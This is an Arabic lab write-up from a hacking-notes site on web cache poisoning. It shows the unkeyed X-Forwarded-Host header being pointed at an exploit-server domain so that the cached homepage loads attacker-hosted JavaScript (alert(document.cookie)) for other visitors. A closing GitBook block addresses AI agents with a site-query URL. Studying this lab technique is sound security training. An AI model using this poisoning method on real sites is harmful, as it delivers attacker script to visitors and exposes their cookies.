> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md).

# تسميم ذاكرة التخزين المؤقت برأس غير مُمفهرس

### تسميم ذاكرة التخزين المؤقت للويب باستخدام ترويسة غير مفهرسة

هذا التطبيق معرّض لِـ **تسميم ذاكرة التخزين المؤقت للويب** لأنه يتعامل بشكل خطير مع إدخال من **ترويسة غير مفهرسة**. / يزور مستخدم شرعي الصفحة الرئيسية للموقع بانتظام.

\*\*الهدف:\*\*/ تسميم ذاكرة التخزين المؤقت بحيث تعرض الصفحة الرئيسية استجابةً تنفّذ `alert(document.cookie)` في متصفح الضحية.

<figure><img src="/files/044a769c93c9ddb98b5225c707986218be7a93c7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/21ff95871d8a31176c3045a7aa79200b521f0677" alt=""><figcaption></figcaption></figure>

**تحليل سلوك ذاكرة التخزين المؤقت**

* عند اعتراض الطلب إلى الصفحة الرئيسية، يظهر **`العمر`** في الاستجابة، مما يشير إلى أن المورد مخزّن مؤقتًا لمدة **30 ثانية**.

<figure><img src="/files/f1ffc54a1f952ebe0cf11bb1c7ed20044d1d58ac" alt="" width="481"><figcaption></figcaption></figure>

* إضافة معلمة عشوائية إلى الرابط، على سبيل المثال `?test=1`، يوضح أن:
* يُعاد توليد مفتاح ذاكرة التخزين المؤقت.
* يمكن تعديل المحتوى المخزّن مؤقتًا وتقديمه لمستخدمين آخرين أثناء صلاحية ذاكرة التخزين المؤقت.

<figure><img src="/files/bd2648987f7a139057205ce4e954dd17c1774832" alt=""><figcaption></figcaption></figure>

إذا تمكن أحدهم من تسميم الاستجابة الجذرية (`/`)، فسيشاهد أي زائر هذا المحتوى الخبيث خلال هذه الـ30 ثانية

**ابحث عن ترويسات قابلة للاستغلال**

* باستخدام **Param Miner** في Burp Suite:

<figure><img src="/files/53d372bc40f520b0c577b75004ee6fe151c35931" alt=""><figcaption></figcaption></figure>

* نظرًا لأن **Repeater**، فإن الدالة **تخمين الترويسات** تُستخدم.

<figure><img src="/files/bfa03c00eb0cf85c039d2e717a32484e41f7c37f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1b8cb6138538cb958506e01e5af90e1c056c767b" alt="" width="563"><figcaption></figcaption></figure>

تكتشف الإضافة سلوك تسميم لذاكرة التخزين المؤقت المرتبطة بالترويسة **`X-Forwarded-Host`**.

<figure><img src="/files/e85ae891049716249566e982735848758fb5010c" alt=""><figcaption></figcaption></figure>

**عملية ترويسة غير مفهرسة**

* تُضاف الترويسة التالية إلى الطلب:

```http
X-Forwarded-Host: test.com
```

* وتتضمن الاستجابة بعد ذلك تحميل مورد JavaScript من هذا النطاق.

<figure><img src="/files/186f1bc2918c3d37fc91d1151a2adee49000ef23" alt=""><figcaption></figcaption></figure>

* عند إعادة التحميل، يحاول التطبيق دائمًا استرجاع هذا السكربت، مما يؤكد أن الاستجابة مخزّنة مؤقتًا.

<figure><img src="/files/9abe0cedd892bfb4af8bfdbe427971986c20bb5e" alt=""><figcaption></figcaption></figure>

**إعادة التوجيه إلى خادم الاستغلال**

* تُستبدل قيمة الترويسة بـ **نطاق الخادم**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

يسعى التطبيق بعد ذلك إلى تحميل المورد التالي:

**حقن حمولة خبيثة**

* على خادم الاستغلال، تنشئ الملف:

```javascript
/resources/js/tracking.js
```

<figure><img src="/files/a5c3efaa8de3ed9833d9a14674f3b7f2ab122563" alt=""><figcaption></figcaption></figure>

محتوى الملف:

```javascript
alert(document.cookie)
```

* أصبح هذا السكربت الآن مضمّنًا في الاستجابة المخزّنة مؤقتًا.

<figure><img src="/files/fb84b004d4e4d1d6fe9fc897531cb30c3fb53992" alt=""><figcaption></figcaption></figure>

**النتيجة**

* عندما يزور مستخدم الصفحة الرئيسية خلال فترة صلاحية ذاكرة التخزين المؤقت:
* يقوم المتصفح بتحميل السكربت المسموم.
* تظهر نافذة حوار تحتوي على `document.cookie`.

<figure><img src="/files/0c10f9c115b5628daf8b4a16b60a76144c239dd7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
